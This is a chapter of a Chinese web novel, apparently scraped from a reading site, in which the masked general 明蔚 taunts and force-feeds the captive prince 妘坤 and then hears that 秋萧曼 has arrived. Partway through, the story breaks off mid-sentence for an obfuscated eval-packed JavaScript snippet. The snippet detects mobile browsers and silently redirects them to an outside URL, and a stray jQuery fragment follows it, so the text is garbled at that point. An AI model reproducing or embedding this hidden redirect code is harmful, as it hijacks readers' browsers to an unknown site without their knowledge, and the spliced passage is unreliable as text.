23.独行

作品:《折腰事秋瑟

    宁平大营。


    蓬头垢面的妘坤在行牢的木柱上刚刚刻下【正】字的最后一笔。整整十日的风吹日晒,再硬朗的骨头也终于撑不下去,腿一软便跌坐了下去。


    “起来!”


    旁边走来拿着长刀的明军,一边厉喝一边走近。


    日日夜夜吃不饱穿不暖,妘坤哪有力气站着,只不过为了骨气强撑着一口气罢了。


    他晃晃悠悠起身,还没站稳,就被开门进来的几个小兵架住手臂拖着往主将营帐走。


    这般粗鲁无礼让他忍不住开口唾骂,可嘶哑的声音却干涩无力,竟连周围的小兵都听不清。


    直到他被拉进营帐,一股热腾腾的暖风袭面,才让他被冻透的身体骤然打了个哆嗦,只因这暖意太过舒适温和,整个人都不适应地瘫软下去。


    押他来的小兵刷拉拉地一齐退了出去,营帐内突然安静下来,只剩下眼前不远的炭盆发出呲呲的烧炭声,除此外还有一阵阵毫无节律的金属碰撞声。


    他努力抬眼,就看坐在高座上那个带着金甲的人正倾身瞧他,面具下的表情却是无从探知的。


    “明蔚!你胆大包天!竟敢对我这般无礼...”


    妘坤牟足了劲,咬牙咒骂,只不过后面几个字没了后劲,明蔚也没听清他说的什么。


    包裹双手的金甲手套突然不再相互碰撞,空气又变成诡异的宁静。


    半晌,明蔚起身,朝着妘坤走过去。


    “我对你,不好么?”


    妘坤“呸”了声,“我犯了什么重罪?!将我关在俘虏用的行牢?!”


    “哈?”明蔚冷笑,“你不就是俘虏么?”


    这话说得没有错,技不如人的手下败将而已。


    但妘坤不甘心,辩驳:“檀原和雯桦从无战事!我姑母还是贵国的贵妃!你这么对我就不怕檀原王怪罪下来?!”


    明蔚走到他面前站定,俯身下去看他那张皴裂的脸,笑着问:“他能把我怎么样?”


    早知道明蔚狂悖无礼,在檀原都是横着走路的,却没想到他竟连檀原王都不放眼里。这话把妘坤噎的无话可说,毕竟他只是个小小的盟国王子。


    “所以,首辅大人才想清理我。”明蔚手里拿着块湿帕子在他脸上沾了泥的位置擦了擦,又道,“首辅大人,斟天泽,认得吧?”


    妘坤蹙了蹙眉,果断答:“不认得!”


    “哦——”明蔚又是一声敷衍,同时停下手里的动作,轻声细语透着种无法预知的狡猾,“秋将军来接你了。”


    话才说完,妘坤立即来了精神,混沌的双眼都立即涌入光彩。


    瞧出他翘首以盼的期待,明蔚却只冷笑一声直起身,“秋老将军而已!瞧你臭的,总也不能让你这个模样见故人。”


    在知道是秋老将军,妘坤那脸神采奕奕的期待果然黯淡下去,就连脑袋都跟着支撑不起。


    觉得他不怀好意,妘坤带着痛恨咬牙切齿:“临时抱佛脚?!怕人知道你对我这般侮辱,给自己寻来诟病和麻烦??”


    怕?


    正想叫人来为他梳洗的明蔚突然停顿,他扭过头,那张毫无生气的面具仿佛在告诉妘坤他对方才的话感到匪夷所思。


    “那就随你的愿。”


    明蔚忽地脚下一转,又从妘坤身边绕过去。


    “不过是箭术高超,并不能代表你就所向披靡!”妘坤故意讥讽,他也知道秋世朝已在接他的路上,明蔚不能奈他何,否则也不至于催促他梳洗干净。


    明蔚搓搓手掌,再次发出金属摩擦的声响。


    “我邀了秋老将军来切磋武艺,既然你这么说,我想想该比试点什么好呢?”


    妘坤抓着希望的苗子,与他斗气。


    “秋老将军精通所有武器!有本事你就带他去兵器库!总有你不擅长的!”


    相比他语气激愤,明蔚只是坐下来,挑了挑炭盆里的碳,燃烧的明火将他覆面金甲照得锃亮。


    哪知他的沉默不语令妘坤尝到甜头,讽刺意味更浓:“你是不是亏心事做太多了?!没脸见人?!”


    跟着冷笑,说地更加肆无忌惮:“还是你本就是个懦夫?!害怕仇人看到你的脸遭人偷袭报复?!”


    “咣”的一声,明蔚将手里的碳夹扔到盆里,失去耐心似的,可语气还是稳如磐石,“要不就比一比,看看秋老将军能不能卸掉我的面具?”


    听他语气认真起来,妘坤不想谈论比武的话题。


    因为那日比箭,他就已经知道明蔚的实力。即便秋世博武艺高强,他却也犹豫是否真的是明蔚的对手。


    他更不相信明蔚单单邀请秋世博来只是为了比试武艺,更怀疑他又在耍什么把戏。


    此时此刻他心中咒骂依旧,却顾忌处在任人宰割的位置,还不如闭上嘴保留住自己高贵的尊严。


    明蔚从袖口里取了封信出来,捏在手里又读了遍,而后随意折了几下才去燃烧的木炭上引燃。


    看着火苗逐渐攀爬上那张柔软的纸,再愈演愈烈,明蔚缓缓开口:“据说斟天泽的小女儿斟泠然年芳十五,已出落成亭亭玉立的大姑娘。”


    妘坤本还一副宁死不屈的倔强表情,在听到这句话后突然怔了下,反问:“你这话什么意思?”


    “她最近也在宁平。”明蔚扔掉手中即将烧完的纸屑,“捉了你,也算是我棒打鸳鸯。”


    妘坤不明所以地看着他,他甚至都不知道斟泠然又和他有什么关系,只听明蔚又道:“待我和秋老将军比试过,我亲自送你们回去。”


    妘坤可不相信明蔚会是这样的好人,他鄙夷道:“送我们还是杀我们?!”


    明蔚不屑。


    “杀你们与我有什么好处?眼下你这副没骨头的懒样子,杀了你不是败坏我名声??”


    “你——!!!”妘坤若有力气,真想和他拼命。


    “我是怕谁给你施个美人计!”明蔚看他落魄的笑话似的,忽地身子往后一靠,当即又转了话锋:“——不过你这德行,美人也不一定能看上你。”


    妘坤被他几句话气得连连呛咳,捂着心口喘息更加剧烈。


    明蔚冷漠地瞅着他,毫无同情心地火上添油:“也不知秋老将军看到你这副德行会怎么和秋小将军说?”他边说边笑,得意又猖狂,“会有哪个美人喜欢一个没用的落魄郎?”


    “明蔚!你别以为自己在檀原横行霸道能长久!有朝一日,我定要让你看看你的下场会是多惨!!”


    明蔚:“哦?我倒是知道你上辈子什么下场。”


    “?????”


    妘坤觉得他疯了。


    明蔚:“死了那条心吧!我听说秋小将军向来慕强,喜欢我还差不多,你?”他冷笑着起身,同时拍拍手套上沾染的灰尘,“——就别自作多情了!”


    妘坤长这么大都没见过这么不要脸的人,那点王族的儒雅和分寸也早抛到脑后,啐骂道:“就凭你个脸都不敢露的懦夫??简直是恶心!”


    “恶心吗?”明蔚忽然收笑。


    妘坤:“光是见到你那张面具就足以令人作呕!!”


    闻声,明蔚抬手摸了摸面具,而后扬声唤人进来。


    很快就有两个兵卫在面前站定,明蔚下令的口吻:“来——好好喂饱二殿下的肚子!”


    两个兵卫得令后匆匆赶出去,再回来时端了不少珍馐美味,一并跟来的还有打点好一切的木良畴。


    明蔚不再跟妘坤逗嘴,直接做了个手势,示意兵卫把妘坤拉到一边,好好喂他吃饭。


    兵卫多少也听到方才营帐中的争执,以为明蔚的意思是想堵住妘坤的嘴,所以喂他吃饭时既仓促又粗鲁。


    这样的情景让木良畴多少觉得明蔚实在礼节,却也不明白这个从没接触过的雯桦二殿下究竟是怎么得罪他,能落得这样的下场。


    但他也不好劝阻,毕竟秋老将军稍后就会到,待比试结束,这场恶作剧也就跟着了结了。


    营帐的角落里时不时传来呛咳和喘不上气的猪叫声,木良畴尴尬地舔舔嘴唇,开口同明蔚确认:“贞州大营的内讧,真的不用管吗?”


    明蔚扭了扭酸胀的脖子。


    “让你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722100|171932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去的时候,你不没去么?”


    这确实是木良畴做错的事。


    没听主将命令,私自做决定本应重罚,谁也没想到明蔚回来竟然都没再提过。自知理亏的木良畴还有什么好辩驳的,只能乖顺道:“方才那信上也说了,目下事态严重,已波及到了县府。”


    明蔚扭过头看他,“那就让县府的人去处理呗!克扣人家粮米还不准人家造反?我一个武将能做什么?难不成还刀尖指向自己人?欺压良民??”


    木良畴:“毕竟县府的人去贞州大营请求借兵…”


    明蔚:“曹将军不是没应么?”


    木良畴“是,但监察史和陛下那边怎么解释?”


    明蔚一怔,责问的口气:“你问我??”


    上一次明蔚已经说过,这个事应由木良畴想办法解决,所以目下再问明蔚的意见确实不妥。


    木良畴犹豫片刻:“属下打算说在宁平招待雯桦二殿下,贞州的暴动就请县府和曹将军酌情处理…”


    “嗯。”明蔚心不在焉地应了声,“这次我就不掺和了,贞州县府不是有斟天泽的门客嘛?他处理起来想必更加得心应手。我呢,看护好了这位小殿下,省得他被人下了蛊着了道,再做出点损人不利己的事就不好了。”


    木良畴虽然不太明白明蔚这么说的含义,却还是乖乖应下来。


    明蔚却知道,上一世斟天泽借着贞州大营的事将明蔚的人都调去了贞州,所以妘坤来宁平时,顺利碰到了斟泠然。


    也正是这一次,妘坤成了斟天泽想要攻陷雯桦的一枚重要棋子,间接导致雯桦最终的国破。


    只要阻止妘坤见到斟泠然,斟天泽的计谋便不攻自破。经历了这一次的刁难,妘坤未来恐怕都不会再进檀原,便更没机会见到斟泠然。


    至于为什么要亲自送秋世博回雯桦——


    明蔚确实是为了给自己接下来的动作做铺垫。


    他不知秋世博的武艺究竟如何,他也没想真的和秋世博比试,因为不论输赢,对秋家都是不好的。


    他不过是想借此邀秋世博来做场戏罢了,能得到他明蔚亲自相邀并礼待的人,檀原上下都不会再有人敢和秋家公然作对,他便有更多的机会和精力放在更重要的事情上。


    思忖间,明蔚注意到墙角那个脸色都变成青紫的人,忙向给妘坤灌食的两个小兵摆摆手。


    “行了!再喂就撑死了!”


    两个小兵这才收手,刚停手妘坤就吐了一身。


    示意两个小兵退下后,明蔚负手走近看上去奄奄一息的妘坤,又用帕子给他擦擦嘴角的食渍,阴阳怪气地笑起:“还想吐么?”


    妘坤费力睁眼,满是血丝的利目使劲瞪着他,无力却坚定地点头。


    “那就吐吧。”明蔚冷嘲热讽,“就是怕你肚里空空,吐不出来!”


    这样的戏弄让明蔚开心极了,他开怀大笑,无情的嘲笑像把小刀狠狠戳在妘坤心上。但他也没办法,此时此刻身体上的痛苦让他根本没有反驳的力气。


    他从不知道明蔚竟是喜怒皆不形于色的,杀人更是刻意不见血。


    大口大口喘息着以忍受食物逐渐膨胀的痛楚,妘坤迷迷糊糊之际就看营帐外匆匆走进几个人,其中一人双手递了块名牌,但他一眼就看出名牌四角镶嵌的皆是雯桦瑰矿。


    终于等来雯桦的救兵,妘坤即便体力难支,也因对即将脱离不幸的期盼而强撑着扶住烛架站了起来。


    明蔚接过名牌,看也没看就坐回营帐上座,下令的口吻肃然道:“请秋将军进帐。”


    银甲小兵满目担忧地急促更正:“来的不是秋老将军!而是驻守荣邸的秋小将军!”


    屁股还没坐热的明蔚当即一愣,还以为自己听错了。


    “——谁?”


    兵卫对当下的情况束手无策,再答:“秋小将军——秋萧曼!”


    还以为会发怒的明蔚突然手一歪弄撒了水,紧接着他急忙起身,也没来得及顾身上的水渍,就朝帐外大步流星踱去。


    这副紧张兮兮的样子倒有点谈虎色变的感觉…